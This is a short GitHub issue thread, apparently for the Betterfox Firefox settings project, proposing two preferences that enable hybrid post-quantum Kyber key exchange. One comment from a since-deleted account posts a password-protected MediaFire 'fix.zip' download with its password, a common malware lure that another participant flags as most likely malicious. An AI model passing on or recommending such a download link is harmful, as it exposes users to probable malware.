Enable hybrid post-quantum key exchange

[SRugina]

See https://pq.cloudflareresearch.com/

user_pref("security.tls.enable_kyber", true);
user_pref("network.http.http3.enable_kyber", true);

Some buggy servers will break with this (see https://tldr.fail/ ). However, Chrome, Edge, Opera, and Brave all have it enabled by default, so I see no reason why betterfox should not.

[ghost]

maybe this will help https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Pass: changeme

you may need to install the c compiler

[philg-dev]

@yokoffing the mediafire link in the comment above is most likely malicious. Given that the account has been deleted already. Not sure if you can delete the comment somehow before it affects anyone.

[yokoffing]

https://github.com/zen-browser/desktop/pull/2275